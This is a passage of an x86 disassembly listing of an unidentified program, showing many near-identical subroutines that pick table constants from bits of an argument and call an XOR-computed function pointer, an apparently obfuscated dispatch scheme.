var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 63h
mov [ebp+var_2C], 0F3h
mov [ebp+var_28], 0C3h
mov [ebp+var_24], 61h
mov [ebp+var_20], 71h
mov [ebp+var_1C], 0A2h
mov [ebp+var_18], 0AFh
mov [ebp+var_14], 3Eh
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B21DC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B21DC: ; CODE XREF: sub_4B214C+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B214C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2248 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC00o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0E5h
mov [ebp+var_2C], 0F9h
mov [ebp+var_28], 3Ch
mov [ebp+var_24], 6Dh
mov [ebp+var_20], 5
mov [ebp+var_1C], 0A4h
mov [ebp+var_18], 0E1h
mov [ebp+var_14], 4Bh
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B22D9
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B22D9: ; CODE XREF: sub_4B2248+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2248 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2345 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC04o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Dh
mov [ebp+var_2C], 0EEh
mov [ebp+var_28], 0
mov [ebp+var_24], 0D7h
mov [ebp+var_20], 39h
mov [ebp+var_1C], 2Ch
mov [ebp+var_18], 5
mov [ebp+var_14], 25h
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B23D3
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B23D3: ; CODE XREF: sub_4B2345+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2345 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B243F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC08o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0B7h
mov [ebp+var_2C], 91h
mov [ebp+var_28], 0A4h
mov [ebp+var_24], 8Ch
mov [ebp+var_20], 48h
mov [ebp+var_1C], 63h
mov [ebp+var_18], 5Eh
mov [ebp+var_14], 49h
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B24D0
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B24D0: ; CODE XREF: sub_4B243F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B243F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B253C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC0Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3Dh
mov [ebp+var_2C], 1Fh
mov [ebp+var_28], 56h
mov [ebp+var_24], 8Fh
mov [ebp+var_20], 0E0h
mov [ebp+var_1C], 0E5h
mov [ebp+var_18], 0Dh
mov [ebp+var_14], 8Eh
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B25CD
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B25CD: ; CODE XREF: sub_4B253C+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B253C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2639 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC10o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0Eh
mov [ebp+var_2C], 0B3h
mov [ebp+var_28], 0B2h
mov [ebp+var_24], 0C4h
mov [ebp+var_20], 80h
mov [ebp+var_1C], 80h
mov [ebp+var_18], 11h
mov [ebp+var_14], 58h
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B26CA
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B26CA: ; CODE XREF: sub_4B2639+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2639 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2736 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC14o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0FAh
mov [ebp+var_2C], 4Ah
mov [ebp+var_28], 27h
mov [ebp+var_24], 0BDh
mov [ebp+var_20], 64h
mov [ebp+var_1C], 3Eh
mov [ebp+var_18], 4Ah
mov [ebp+var_14], 5Eh
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B27C7
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B27C7: ; CODE XREF: sub_4B2736+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2736 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2833 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC18o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 88h
mov [ebp+var_2C], 45h
mov [ebp+var_28], 73h
mov [ebp+var_24], 0F1h
mov [ebp+var_20], 92h
mov [ebp+var_1C], 16h
mov [ebp+var_18], 1Dh
mov [ebp+var_14], 0A9h
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B28C1
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B28C1: ; CODE XREF: sub_4B2833+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2833 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B292D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC1Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 62h
mov [ebp+var_2C], 8Eh
mov [ebp+var_28], 0D3h
mov [ebp+var_24], 95h
mov [ebp+var_20], 40h
mov [ebp+var_1C], 8Ch
mov [ebp+var_18], 48h
mov [ebp+var_14], 71h
mov [ebp+var_10], 2
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 2
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B29BE
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B29BE: ; CODE XREF: sub_4B292D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B292D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2A2A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC20o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Bh
mov [ebp+var_2C], 8Eh
mov [ebp+var_28], 0F5h
mov [ebp+var_24], 0A3h
mov [ebp+var_20], 0Fh
mov [ebp+var_1C], 9Ah
mov [ebp+var_18], 29h
mov [ebp+var_14], 0A0h
mov [ebp+var_10], 12h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 12h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B2ABB
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B2ABB: ; CODE XREF: sub_4B2A2A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2A2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2B27 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC24o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DCh
mov [ebp+var_2C], 8
mov [ebp+var_28], 7Fh
mov [ebp+var_24], 87h
mov [ebp+var_20], 3Ah
mov [ebp+var_1C], 0D1h
mov [ebp+var_18], 0Ah
mov [ebp+var_14], 0B2h
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B2BB7
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B2BB7: ; CODE XREF: sub_4B2B27+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2C23 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC28o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0F9h
mov [ebp+var_2C], 40h
mov [ebp+var_28], 8Ch
mov [ebp+var_24], 56h
mov [ebp+var_20], 1Dh
mov [ebp+var_1C], 47h
mov [ebp+var_18], 58h
mov [ebp+var_14], 0E6h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4B2CB4
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4B2CB4: ; CODE XREF: sub_4B2C23+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4B2C23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B2D20 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDC2Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
